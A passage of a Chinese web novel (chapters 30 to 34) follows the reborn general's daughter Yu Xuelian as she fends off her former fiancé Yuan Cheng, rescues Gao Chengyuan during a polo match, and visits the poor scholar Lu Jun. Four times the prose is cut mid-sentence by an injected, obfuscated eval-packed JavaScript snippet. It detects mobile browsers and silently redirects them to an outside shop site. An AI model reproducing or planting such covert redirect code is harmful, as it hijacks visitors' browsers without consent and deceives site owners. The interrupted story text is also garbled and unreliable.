屋外的天泼墨似的黑，官差们拿了些柴火照明。 送走官差，吴煦带的两个小厮拾掇堂屋。 “陆兄，要不要喝杯茶醒醒酒？”吴煦也没想吃酒吃到这个时辰，一边和陆隽说这黄酒的后劲，一边让小厮去煮点茶来。 陆隽按揉着太阳穴，道：“家里没有茶叶。” 吴煦看出陆隽的不适，温言道：“方才我该替陆兄挡挡酒的，今日着实高兴的过了头。”说罢，他叫那瘦弱的小厮取包袱，陆隽家里没有茶叶，自是不会有茶具，“吉祥，你把夫人准备的普洱下锅煮。” 陆隽和吴煦同窗两年半，相识近十年，彼此不须说客套话。 今夜吴煦要留宿，陆隽便去木柜拿出洗干净的被褥，原是吴阿牛用的。 吴煦和他身量近似，挤一张榻定然是不行的，是以陆隽往地下铺了一张凉席，让吴煦睡榻上。 “陆兄，使不得。”吴煦急忙道：“让我睡地铺吧。” “如何使不得？”陆隽说，“你是客，何以使得睡地铺。” 吴煦驳不了陆隽的话，陆兄的言谈听着往往是有道理的，他又极其守规矩，讲礼仪，在陆兄的身上，仿佛找不到一点不妥当的地方。 除了家境实在清贫，孤苦伶仃。 吴煦的耳边不禁飘起倪捕快说的那番话，陆兄不正是读书读到痴迷，故这般拘束自己，不容自己犯任何错吗？ “陆兄，你真是无心娶妻吗？”吴煦担忧陆隽应了倪捕快的话，对人世间的感情无欲无求。 陆隽嗯了一声，道：“取得功名要紧。” 吴煦问：“那……陆兄从前可知虞娘子的父亲是镇国大将军？” 陆隽回道：“她的父亲是将军抑或文臣，对我而言，没有分毫区别。” 他料到虞穗的父亲非富即贵，当知晓她是镇国将军府的嫡女，他的心起了波澜，随之便被压下了。她是云，他是泥，这是已经确定的事。 吴煦似懂非懂，委婉地说：“我在金陵城听说过这虞娘子，她在金陵城有不少蓝颜知己，小郎君为她争风吃醋的事屡见不鲜。前不久，虞娘子拒了临川侯府的婚事，闹得沸沸扬扬。所以今儿个我以为看花了眼，虞娘子怎会在陆兄的家里坐着。” “她不过十七岁，”陆隽厘得清吴煦在想什么，他抬眸认真看着吴煦，问道：“坊间的传言，能有几句是真？你我到了弱冠之年，不明白这个道理吗？” 吴煦的脸一热，道：“陆兄说得极是，虞娘子的年纪尚小，金陵城的纨绔子弟游手好闲，造出这等谣言，实乃鼠肚鸡肠。” 陆隽若不提年纪，其实吴煦根本不知虞雪怜小了他们七八岁，白天两人站在一起——陆兄确实年长些。 他差点就诋毁了一个女子的清白，也低估了陆兄，吴煦惭愧地想。 陆隽捋平被褥，小厮也奉上醒酒茶。 草屋微弱的烛光熄灭，屋内响起此起彼伏的打鼾声。 大抵是吴煦赶路劳累的缘故，他鼾声如雷。那两个小厮睡在堂屋，不仅睡得香甜，鼾声也随了主子。 陆隽睁着眼睛，躺在地铺上。 他睡不着。 陆隽拿了衣袍，轻轻地推开屋门。 挨着篱笆边的是一间红砖垒砌的小房，一道帘子充当房门，陆隽提了一桶井水进去。 这是陆隽平日用来洗身的房子。前半夜喝的那些酒，令他头晕目眩，喝了醒酒茶，也不见起效。 陆隽喝醉的次数是一巴掌就数得过来的，初次饮酒是先生给他倒的糯米酒，那年他在学堂写了一篇文章，先生看了欣喜不已，夸赞着此文章字字珠玉。 他尝了一口糯米酒，和先生泡的茶不一样。茶是微苦的，糯米酒却是甜的。 先生又嗜酒，看他把整杯糯米酒喝完，接着给他添酒。陆隽对这件事的印象很深，他越喝越醉，在学堂睡了一天，师母骂先生不讲分寸，让孩子吃酒，成何体统。 先生不以为然地笑着说他酒量不好，要他练一练，又遭了一顿师母的责骂。 凉水浸湿陆隽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008270|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发，驱散了些许醉意。他喜欢保持清醒，酒是他的死敌，如先生所说，那他便要把酒量练好，方能不在外人面前失态。 时辰是下半夜了，陆隽擦干净身上的水滴，脑海恍惚冒出虞穗那日在青禹湖畔的身影，她也吃醉了酒，只露出一双眼睛。 陆隽的记忆没有如时间流逝变得模糊，反倒逐渐清晰，好似他并不是远远地在观望——陆隽收回思绪，用力捏掉汗巾上的水。 他不应去想她，应要离她远点。 …… 次日，虞雪怜随母亲去老太太房里请安。 过了一夜，老太太还是那么几句旧话，要虞雪怜知错就改。 孙嬷嬷领着虞雪怜到祠堂罚跪，给她备了笔墨纸砚。 老太太再三强调，不准旁人去看虞雪怜。 虞雪怜跪的头一个时辰尚且受得住，手也没歇着，抄着《女诫》。 六个时辰，要从清早跪到日落，虞雪怜累得躺在祠堂沉沉地睡着了。即使虞牧进了祠堂来看她，她也睡得香甜。 这责罚硬生生地让虞雪怜在闺阁歇了近三天，若不是有要事，她不会踏出一步房门的。 这天，虞雪怜让虞牧带她去茶楼听戏。 虞牧不会拒绝妹妹的要求，便说服父亲，准他带妹妹出去逛逛。 到了茶楼，兄妹二人在正厅要了一壶蒙顶茶，两碟瓜子。 虞雪怜笑吟吟地给虞牧剥了一颗瓜子，放在虞牧的掌心，“大哥，你先在这里等我片刻，我去趟二楼，那儿有个熟人在。” 虞牧古板的脸微微浮现不悦，他抬眼望向二楼，有珠帘挡着，瞧不出都有什么人在。 诚然，妹妹来茶楼为的不是看戏。 虞牧说不生气是假的，他不擅长遮掩，眉宇皱着，点了点头。 他的目光追随妹妹，她上了二楼，走到东边的茶桌坐下。 虞雪怜看着坐在她对面的男子，他悠闲地品着茶，惹人厌的桃花眼含笑。 “怜娘来找我，所为何事？”袁丞放下茶盏，问道，“我想一定是重中之重的事，否则怜娘也不愿来找我这个弃夫罢？” 虞雪怜只觉可笑，说道：“那本字帖，你是在哪里买的？” 袁丞的指腹摩挲着茶盏，语气嘲讽道：“这本名师写的字帖，如果不是怜娘，我很难买得到。” 虞雪怜质问道：“你跟踪我？” “若想人不知，除非己莫为。”袁丞的手指继而叩着桌面，说道：“你不辞辛苦地去山沟找穷书生，照顾他的生意，可曾想过我？” 他派出的暗卫回禀虞雪怜和慈溪镇的书生有接触，袁丞吩咐暗卫把书生的身世调查清楚。 陆隽，那个他看着眼熟的穷书生，跟鸿胪寺的主簿是同窗。 乡村野夫，家徒四壁，父母双亡。有瘟神的称号，村民对他避之不及，唯恐沾上晦气。 袁丞想破脑袋，也想不出虞雪怜要救济这野夫的原因。 若让金陵城的好友知晓虞雪怜与乡村的穷书生有牵扯，他的颜面要置于何处？ 31. 要求 虞雪怜曾琢磨过，像袁丞这样心口不一，视颜面为性命的人，倘若谁拂了他的面子，他不会轻饶人的。 袁丞派人跟踪她，所想的便是找回丢失的颜面，再告诉旁人，她拒绝他的求亲，是她移情别恋了，不是他的问题。 正如他上辈子送她进教坊司，一面在昭告天下人，他是个重情重义的郎君，未婚妻满门谋逆，他仍念往昔，给她求得一条生路。一面伤心欲绝地撇清和镇国将军府的关系，哀叹父亲误入歧途。 真真是让人折服。 虞雪怜嫣然笑道：“我与小侯爷现在是桥归桥，路归路。那日在后花园说得不是很清楚了吗？如今小侯爷背地里做上不了台面的事情，我只当作不知道。可你却送字帖到府上，小侯爷有这闲工夫，为何不替伯母好好打理临川侯府呢。” 她心平气和地掀起茶盖，飘出熟悉的茉莉香。虞雪怜以前不爱喝茶，偏偏袁丞喜欢来茶楼看戏听曲，他便给她要一盏茉莉香片。 喝了这个，她总是到了下半夜才睡得着。翌日逮着袁丞责怪一番，他也从不对她发脾气。等到再来茶楼，小二端上来的还是这盏茉莉香片。 “上不了台面。”袁丞笑出声，道：“怜娘做的便是上得了台面的事，救苦救难，不嫌脏地去接近乡村野夫，实在是——上得了台面。” 虞雪怜放下茶盏，说：“若小侯爷不知分寸地跟踪我，我便只好去贵府求个公道了。” 袁丞靠着座椅，端详着虞雪怜，她看他的眼神没有先前的情意，也无厌恶之色。对她来说，他似乎是个无关紧要的人。 而她转变的缘故，是他想起名字就一阵反感的野夫。 他不甘心输给一个野夫，那人不仅年纪大，穿着旧衣，出身寒门，不论哪一点，他都能把陆隽踩到脚下。 “派人查你的行踪，是我不对。”袁丞示弱道：“你我各退一步，今后你与陆隽断绝往来，我自会守分寸。” 虞雪怜眨眼说道：“既是你不对，又凭何要求我？” 袁丞顿了一下，他许久没听见虞雪怜用嗔怪的语气说话。 这数日来，母亲也劝他放弃虞雪怜，金陵城多少女娘朝思暮念地想要嫁进临川侯府，何苦执意她一人。母亲命小厮往他房里塞画像，他全推回去了。 虞雪怜吃软不吃硬，那么他不得不拉下脸面，争取让她回心转意，“那你想如何？” “你保证今后不准跟踪我。”虞雪怜沉吟片刻，道：“其二，你不要疑神疑鬼的，插手我与别人来往……其三，你若要见我，不必弯弯绕绕，拿那些物件来威胁我。” 袁丞今日身穿绛红罩甲，衣襟绣的是鹿纹，鲜艳夺目的打扮，然他的脸显得有几分晦暗。 他低声说：“我答应你。” 在此刻，他没什么颜面可言。 “我月底要办母亲的生辰宴，能不能给你下帖？”袁丞问。 虞雪怜摇头道：“我若去了，免不了有人误会，到时我差小厮把生辰礼送去就是了。” 话音落地，虞牧颀长的身影出现在茶桌旁。习武之人最擅把脚步放得极轻，底下的戏台子也开幕了，看客熙攘嬉笑，以至于虞雪怜没察觉到她大哥来了。 “穗穗。”虞牧唤道，“跟我下去。” 他同样用长兄的威严看袁丞，说：“请小侯爷离家妹远一些。” 袁丞错愕地起身，作揖道：“虞大哥，我和令妹不过是出来吃杯茶。” 虞牧斜过视线，直对着袁丞，语调沉重：“男女有别，望小侯爷能为家妹着想。” 这便是妹妹在信中写的心悦之人，是有一副翩翩公子的外表，但他不是能够和晨曦比拟的人。 幸好，好在，妹妹拒绝了袁丞的求亲。 虞牧默默松了口气，可心里到底是生了气的，他头一次不顾别人面子，带着虞雪怜就出了茶楼。 * 兄妹二人回了镇国将军府，虞牧只说要去练武场，让虞雪怜先到书房写女先生留的课业。 虞雪怜不难看出大哥在生闷气，即便她费尽力气哄他，他也不说一句话。 到了跟徐南川约好打马球的日子，虞雪怜早早地起来梳妆，换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049767|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上蜀锦马球服。 徐南川使唤了马夫来接她。 虞牧放心不下妹妹和南川打马球，尤其是在信王府。南川性情浮躁，在军营争强好胜，同其他弟兄比试更是一股冲劲。妹妹若跟他进了马场，他哪里会照顾到妹妹。 于是，虞牧也去了信王府。 信王府在金陵是高不可攀的存在，寻常官宦若想见信王，倒不难，但若没个惊天动地的大事儿，谁也没胆量来找信王。 金陵城的这几位王爷，唯独信王不容易靠拢，毕竟是圣上亲手教养的他，是以信王的举止言谈间有着圣上的影子，加之东宫有主，为了避嫌，他几乎不参与朝政。 可这不影响朝廷的官宦想攀附信王。太子这两年屡屡犯错，私下荒淫无度，圣上交付给太子的政事，不是这件出了差错，就是那件敷衍塞责。 圣上对太子甚是失望，慢慢把政事交给亲王处理。这群官宦推测，废太子是八成的事了。 信王洁身自好，对儿女要求颇高，不允他们跟金陵城的纨绔子弟结交。 今儿个到府上打马球的女娘和郎君，皆是内敛儒雅的，有些甚至是虞雪怜两辈子都没遇见过的。 徐南川活动着筋骨，准备待会儿进马场，他意味深长地说：“你本事不小，能惹虞牧这木头生气。” 虞雪怜有模有样地学他按压着小腿的动作，来信王府打马球，她不想输掉。 “我大哥是……暂时的生气。”虞雪怜轻轻地说。 徐南川笑问道：“那不也是生气了？” 虞雪怜试图转开话锋，说：“今日燕王世子怎么会来？”她看向在马场扬鞭的紫衣男子，嘀咕道，“还好我穿的是蓝色。” 打马球的分为两队，穿着颜色相同的即是一队。 徐南川懒得抬眼皮去看燕王世子，说道：“哪里热闹，他便要凑过来添乱。” 虞雪怜压低嗓音，道：“徐将军今日能打得过他吗？” 这一声“徐将军”，对徐南川很是受用，他却装作毫不在意，问道：“你怎么不直呼我大名了？” 32. 追逐 打马球定的时辰在巳时，受邀来王府打马球的女娘不多，也都是陌生的面孔。 男子则是身材威猛，举止昂扬，显而易见，小王爷和武将的儿郎来往紧密些。 虞雪怜看着俆南川一副等着她夸奖的神情，扯唇说道：“我是忧虑俆将军再像那日找不着东南西北，输了马球，我一介小女子，倒不怕丢脸。可大哥说，俆将军若是输了，恐要气得吃不下饭。” “你的兵法没白看。”俆南川活动好筋骨，挽起袖口，眼神幽邃地瞥着虞雪怜，道：“不用使激将法，本将军也能打得过那厮。” 小王爷喜好打马球，但这不同于射箭投壶那样简单。人要够数，要懂马球，又要守礼本分，不能打歪主意。想在金陵城找到符合标准的世家子弟，不是件轻松的事。 今日小王爷请来的男子，跟徐南川熟络。他们绝大部分是做武官的，年少在金陵城也是意气风发，故见了俆南川，便三三两两地走到凉亭这边。 虞雪怜自觉地往虞牧的身旁站，她拿出将门嫡女的姿态，肩颈舒展，眼眸直视前方。 说起来，他们算是从前的交心兄弟。难得一见，抱怨道，“嘉树，南川，你们俩休沐回来，怎不知会我们一声？” 俆南川笑道：“我和虞牧刚回来不久，收了小王爷的帖子，便知今日能碰着你们，还费什么工夫差小厮去叨扰诸位呢。” “你这嘴皮子不减当年，说得好听，我看你是嫌麻烦，才不来找我们的。” “少污蔑我，这么些年，也没见你们大方一次，请我跟虞牧吃酒。” “瞧你委屈的，等打完马球，我们几个就请你和虞牧去丰乐楼吃酒。” 俆南川到哪儿都活脱，即便有一两人不太认得他，也凑过去插话。 虞牧兄妹俩孤单地站在凉亭一角。 因小王爷李铄未到马场，燕王世子骑马在场上溜了一圈，此处到底不是在燕王府，没了谄媚他的纨绔子弟，没了贴心的侍女伺候，只有老奴仆跟着，他觉得了无生趣。 李秉仁从马场出来，觑见凉亭热闹着，还有女眷在，脚步自然朝那处去了。 上回在画舫丢了脸面，李秉仁收敛些许，一改风流，穿得像正人君子。 他忽略周围的人，径直走到虞雪怜的面前，问道：“虞娘子今日是来打马球？” 虞雪怜颔首回道：“是。” “若知虞娘子在，本世子该喊袁丞来的。”李秉仁叹了一声，道：“可惜了。” 虞雪怜笑而不语。其他人的目光转到李秉仁的身上，燕王世子的名声在外，谁不知晓他恋酒贪色，沾惹恶俗。 李秉仁肆意地打量着虞雪怜，这虞娘子当初若和袁丞没瓜葛就好了，“方才本世子去马场看了，虞娘子最好别到北边的草坪去，那里地势不行。” 虞牧上前作揖，挡住虞雪怜，道：“多谢世子提醒。” “不客气。”李秉仁挑眉说，“上次是本世子招待不周，险些让虞娘子出事，于情于理要帮帮她。” 虞牧闻言一顿，垂着的手掌微合，燕王世子的话，让他心里极不舒坦。 李秉仁是喝了酒来的。信王府一向是父王的眼中钉，可皇爷爷偏宠李铄这个倔驴，隔几天便要宣召李铄进宫。 他呢，他也是皇室子孙，却没有李铄的待遇，想入宫都得带着令牌，讨好司礼监掌印。 手下的小厮探到李铄要在王府打马球，所以他想过来瞧一瞧，李铄平常跟哪些官宦子弟的交情深。 李秉仁只潦草地扫视一番，再没脑子也看得穿李烁打的是什么算盘，镇国将军府，定远将军府，兵部尚书之子……信王府若说对皇位毫无觊觎，那简直是天大的笑话。 “本世子许久不打马球了，”李秉仁笑着跟那几个穿紫衣的将门后代请教，“这里面的技巧，我忘得是一干二净。” 但听其中的少年轻哼一声，略有嘲讽之意，“趁小王爷没来，殿下不妨回去歇着吧。打马球不比吃酒打牌，稍有不慎，若是摔断腿了，摔伤脑袋了，可如何是好。” 李秉仁脸上的笑容凝固，那少年神采湛然，凤眼不屑地看着李秉仁。 他口气嚣张，满脸仿佛写着讨厌二字，弄得李秉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081402|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁下不来台。 “弟弟，休得无礼。”少年的长兄颔首致歉，“殿下，乘远年轻气盛，出言不逊，冒犯到了殿下，望殿下切莫放在心上。” 李秉仁阴沉沉地笑道：“年轻气盛嘛，是好事。” 气氛不妙，恰好李烁的侍卫过来传话，请女娘和郎君们先去挑选骏马。 虞雪怜骑的马是虞牧挑的。 约莫有半盏茶的时辰，李烁进了马场，人齐了，他们便分好队伍上马。 “高乘远！你悠着点啊，不要命了？” 场内的人互相追逐着，高乘远两眼通红，视同伴的话如耳旁风，他咬定要把李秉仁打个落花流水。 虞雪怜的打法保守，她躲开厮杀，往高乘远的方向奔去。 她上辈子见的高乘远，完全不如现在豁达，若不是他长兄道出他名字，她怎么也没法把那个废了双腿，阴郁孤僻的内阁大政事高乘远看作是同一人。 当年内阁判下爹爹的谋逆之罪，此重头案不经刑部处理，由内阁着手负责。府邸的女眷被打入地牢，狱卒对她严刑拷打，叫她从实交代爹爹跟北凉人勾结的细节。 女子能受的刑罚，她近乎挨个受了一遍。 狱卒撬不开她的嘴巴，陆隽派了高乘远来审问她。 高乘远没有让狱卒动刑，他好似阎王殿的黑白无常，坐在官帽椅上，苍白的脸凝望着她。 他道爹爹的头颅在金陵城门挂着，无论她说或不说，已无半点意义，首辅大人有令，镇国将军府的女眷要流放至西北—— 虞雪怜只记得，那日她恨自己挽救不了镇国将军府，恨内阁徒有虚名，骂陆隽是酒囊饭袋，他若有百姓说得那么聪明，为何查不出爹爹是冤枉的？ 高乘远头铁地冲在李秉仁的前面，他们俩的球仗恍若不是用来打马球的，而是拿来打仗的。 虞雪怜攥住缰绳，抽鞭催促骏马加快速度。 高乘远的双腿，很有可能是今日被李秉仁废掉的。 “虞穗穗！你追着高乘远干什么？”徐南川喊道，“他不要命了，你也不要命了吗？” 33. 恩情 兵部尚书高骅手握南郢的军事大权，他夫人又是郡主，跟圣上有这么一层关系在，他的子女从小腰板就硬。 高乘远正是血气方刚的年纪，一心要让燕王世子在马场落败难堪，帮曾受过燕王世子凌辱的娘子出口恶气。 “乘远，你莫要在场上使性子。”高乘风全然没心思去打马球，可他知弟弟的犟脾气，只有小王爷的话，才劝得住弟弟。 高乘风掉头去找李铄，恳请道：“小王爷，今日乘远出府前跟家父起了争执，现在把脾气发在马场，若再继续打马球，乘远定要闯大祸。望小王爷叫停，准我带他回府，择日让他来登门谢罪。” 李铄焉能不明白现在的情形失控，燕王世子虽卑鄙下流，但今日他若在信王府出事，便会给父王带来麻烦。 “乘风，我随你去拦住乘远。”李铄冷静地说。 在场内的男子也勒马停下，但见燕王世子放慢速度，似是故意让高乘远追上。 然那虞娘子掺和了进去，她的马术许是跟着虞牧学的，稳重不失水准。 高乘远惊讶身侧突然冒出个女子，也不料燕王世子的马横着转过身，直等他撞上去—— 虞雪怜牢牢地攥好缰绳，把手伸向高乘远，道：“快过来。” 高乘远还是惜命的，他一跃至虞雪怜的身后，而他自己那匹马被撞倒在地。 李秉仁早下了马，轻蔑地仰起头，看着虞雪怜，笑道：“本世子这匹马不知抽什么风。娘子的骑术精湛，不然高公子今日真是命悬一线了。” “你……”高乘远气得语无伦次，“小王爷养的马，每匹都是良驹，怎到了你手上，它就抽风了？” “本世子也好奇，按高公子说的，这每匹马皆是良驹，可我瞧高公子骑的这匹，倒像是在荒野无人管教的烈马。”李秉仁俯身去摸躺在地上的骏马，它受了惊吓，喘息尖锐。“这畜生方才跟吃了催.情药一般，高公子不觉得吗？” 高乘远如何听不出李秉仁在指桑骂槐，哼声说道：“我不觉得。” “高公子，你没伤着吧？”虞雪怜开口问。 “没有。”高乘远的气势转弱，眼前是女子薄弱的后背，他意识到自个儿坐在人家的马上，顿感羞耻，“谢谢你。” 除了谢谢，他暂时想不到别的措辞。 虞雪怜笑道：“高公子无事就好。” “虞穗穗，你方才要吓死你大哥和我了。”俆南川他们一行人骑马赶来，怪道：“你若是被高乘远的马碰着了怎么办？磕着腿，伤了胳膊怎么办？” 俆南川接着指责高乘远，道：“你还不滚下来？” 高乘远灰溜溜地下马，兄长和小王爷也一言难尽地望着他。 俆南川说的话不带脏，但不好听，可高乘远并没有不服气的意思，他低着头，道：“俆将军、虞将军，是我鲁莽了。今日多谢虞娘子。” “虞将军，今日之事实在抱歉。”高乘风默默记下了镇国将军府的这份人情。 倘若弟弟撞上了燕王世子的马，且不说受伤轻重，弟弟给小王爷添乱，又得罪了燕王世子。有虞娘子此举，至少让局面不那么复杂。 高乘风疾言厉色道：“乘远，给小王爷和世子殿下道歉。” 高乘远毫不犹豫地向李铄鞠躬致歉，对李秉仁敷衍地说了两句对不起。 李秉仁拍掉衣袍上沾的野草，道：“本世子不接受不真诚地道歉。” 高乘远咬了咬牙，目光倔强地看向长兄。 罢了，这窝囊气只好受着。 “世子殿下，”高乘远铿锵有力地说，“高乘远今日犯下大错，冒犯惊吓了世子殿下，懊悔不已。殿下以慈悲为怀，小人惭愧刚才的所作所为。” 李秉仁的神色变幻莫测，他竟有些分不清高乘远是真心或是假意，不过这小子总算不敢在他面前狂妄。 “行，这事本世子不与高公子计较。”李秉仁瞟了一眼虞雪怜，问道，“我对虞娘子的骑术特别感兴趣，下次若有机会，虞娘子可否教教我？” 虞雪怜婉言拒了李秉仁的请教。 李秉仁又是一阵阴笑，向李烁告了辞，说要回燕王府歇息去。 马球自是没法打下去了，出了马场，李烁以没招待好大家为由，留他们在府邸用午膳。 骑马极其费体力，加之拽了高乘远一把，虞雪怜只觉肚子空空的。 侍女端上一盘山药糕，虞牧便伸手拿了两块放在虞雪怜的碗里。 他们原是要分两桌坐的，但女眷也是和虞雪怜差不多年纪的女娘，都当作妹妹看待，他们索性就坐在一桌用膳了。 “以后不许轻率行事。”虞牧的表情半天没变过，像是皱巴巴的云团，“若救不到旁人，反让自己身陷泥潭。” 虞雪怜应道：“大哥，我知道了。” 席间剩下碗筷相碰的声音，李烁遵着食不言寝不语的规矩，一言不发。 到散席，虞雪怜跟着虞牧准备回府。 高乘风带着弟弟又来道谢，说改日要去镇国将军府拜访。 虞牧客套地和高乘风说着话，耳朵却格外注意着高乘远跟妹妹的对话。 “虞娘子，我……我谢谢你。”高乘远来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128116|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这一句话，他长了一双琥珀色的眼睛，清澈纯净。概因长兄的教导，他鼓起勇气，抿唇说：“我欠了你的恩情，会还给你的。” 男子汉大丈夫，不能一句谢谢就了事。 虞雪怜失笑道：“高公子已多次道过谢了，不必再还什么恩情。” 她注视着高乘远，这张稚气未脱的脸，和那位手段毒辣，把陆隽视为神明敬仰的高乘远，相差甚大。 “虞娘子，我们之前见过吗？”高乘远憨拙地问。 虞雪怜在马场突然在他身侧，他心里就升起疑问，尚书府跟镇国将军府不是敌人也不是朋友，他和虞雪怜更是八竿子打不着照面的人。 她为什么要冒险帮自己？ 高乘远斟酌不出个所以然来，便这么问她了。 虞雪怜摇头，说：“我之前没见过高公子。” 高乘远若有所思地哦了一声，藏在袖中的手愤愤不平地握成了拳头。 在他过往的记忆，隐约有几句关于别人说虞雪怜的坏话。 他得寻个日子找出这混账，让此人吃他几个拳头。 * 西风吹走堆积在草屋前的金黄落叶，瑟瑟作响。 陆隽在慈溪镇收了字画摊，吃过饭才回来。 他进屋先放下竹篓，走到东面的墙壁。 陆隽翻掉昨天的黄历。 虞穗很久没去慈溪镇了，陆隽以为，那日她坚定地说有空要来找他，她会像往常那样，偶尔出现一次。 如此想来，是他多虑了。 陆隽的手指停留在新的一页，他不用去想等虞穗来了，要对她说什么。不用去想她靠近他的原因，不用想又该如何远离她。 他收回思绪，进灶房热水，提着桶去木屋洗身。 陆隽的衣袍褪去一半，却听见敲门声—— 这个时辰来他家的，只有吴阿牛了。 陆隽遂穿好衣袍，可入耳的是女子的询问。 “陆隽，你在家吗？” 陆隽欲言又止，他若应答，接下来便是他掌控不了的。 “陆隽，我前段日子被祖母禁足罚抄《女诫》，她警告我不准偷偷溜出府了。”虞雪怜惆怅地站在屋外，道，“可我听府邸的厨娘说，近来菜价上涨，一斤青菜要六文钱，我便想给你送些菜。” 她锲而不舍地问道：“陆隽，你不在家吗？” 陆隽将要掀开帘子的手犹豫不决，他听得到虞穗的碎碎念，亦从她的语气听出了委屈和沮丧。 她所说的每句话像爪子刺挠着他，逼他掀开这道遮人耳目的帘子。 34. 抱她 陆隽最终没抵得住那一下又一下的刺挠，他掀开这道能够缓解痟痒的帘子，缓步走了出去。 虞雪怜的手里提着竹筐，筐内装有新鲜的瓜果时蔬，垂坠晶亮欲滴的水珠。 她今日梳了垂挂髻，发间别着梅子青色的绢花，和她穿的黛绿刻丝蝶纹齐胸襦裙是相称的。 这身打扮谈不上贵气，却有几分俏皮。 虞雪怜笑吟吟地走到陆隽身前，问道：“陆公子方才在忙吗？” 陆隽家的院子没放什么东西，那间木屋隔了一道帘子，但透过缝隙，虞雪怜的笑容染上些红晕——原来，原来陆隽方才是在沐浴…… 难怪他默不作声了那么久，换作是她，她估计也要装哑巴。 即使是匆忙地穿好已经褪去一半的衣袍，陆隽的仪容并未因此变得不整，仍是严丝合缝的得体。 陆隽冷淡地回道：“不忙。” 虞雪怜眨了眨眼，她跟陆隽见的次数不少了。他平日本就毫无表情，若不仔细观察，很难捕捉到陆隽的异样。 她知晓陆隽对她的身份有了一层隔阂，且她和他不过刚有一点进展，若今日陆隽热情地待她，她反而要不安。 除非哪天陆隽中邪了……总之，这种情况两辈子都不可能发生。 陆隽是一块难搬的石头，她费力地让陆隽朝她挪了一两寸，现在他显然是后退了，回到了她初见他的那天。 但，虞雪怜改了计策，她要换个方向。 虞雪怜双手提着竹筐，这一筐瓜果的分量不小。从山下一路走到花坞村，足有六七公里，她的胳膊又酸又麻，手掌也被勒出红印子。 她疲累地松开一只手，呼了一口气。 陆隽默然把竹筐拎过来，说道：“虞姑娘进屋坐。” 虞雪怜如愿进了堂屋。虽然有些许装模作样，可也是实实在在地一步一步走着山路上来的。 昨夜又下了秋雨，土路泥泞，她的鞋袜都湿了。纵使陆隽要和她保持距离，他应该不会眼睁睁地看着她受累的。 其次，虞雪怜不需猜测他心中在想什么，她认定陆隽不是扭捏之人，他也并不讨厌她，所以她按着自己计划的路，往前走便是了。 “陆公子家里有汗巾吗？”虞雪怜端庄地坐在小板凳上，她轻声问，“我想擦一擦鞋袜。” 陆隽低眸看虞雪怜的鞋履，被黄泥脏污的看不清原本的颜色。 虞雪怜揉捏着小腿，人一松懈下来，便拥有不了优雅的仪态了。 一盆清水映入她的眼帘，只听陆隽用着长辈的口吻，说：“你走了山路，若不及时濯足，容易生水泡。” 虞雪怜放在膝间的手微僵，陆隽屈身在她身前，木盆隔开他和她的距离，尽管他们离得已然很近。 “有劳陆公子。”虞雪怜镇定自若地说，“陆公子去过灵谷寺吗？” 陆隽起身，说：“去过一次。” 灵谷寺坐落在隔壁的丹阳县。陆隽不信神佛鬼神，只前年陪着吴阿牛到灵谷寺烧香许愿。那里香火鼎盛，百姓虔诚地跪在佛像下，他站在台阶望络绎不绝的香客，但未踏进殿门叩拜。 虞雪怜脱掉鞋履，抬首看了一眼背过身的陆隽。她抿了抿唇，陆隽规言矩步，周到地给她端来清水洗脚，儒雅地回避视线，不看她褪去鞋袜的样子——他这般墨守成规的人，真的不会生出一丝常人有的感情和欲望吗？ 她不禁有了叛逆的念头，想要让陆隽破掉他所立的规矩高墙。 这念头转瞬即逝，拉拢到陆隽就是不易之事了，妄想看他不守规矩，纵欲迷情的一面，和白日做梦没有区别。 “我祖母说这寺庙的香火灵验，先前给我和府邸的姊妹求了签。”虞雪怜把鞋袜放到一边，两只脚伸入木盆，她用水撩了两下，道，“过些天我大哥要回军营了，祖母想着带他到灵光寺借宿几天，吃吃斋饭，求个姻缘。我便跟着祖母他们一道去了灵谷寺，否则今日很难有机会给陆公子送菜了。” 乡间空旷，稍有动静，声音显得异常的大。虞雪怜撩水的动作放得很轻，但在这一间狭窄的草房内，好似一弯受了冲击的溪水，潺潺地响。 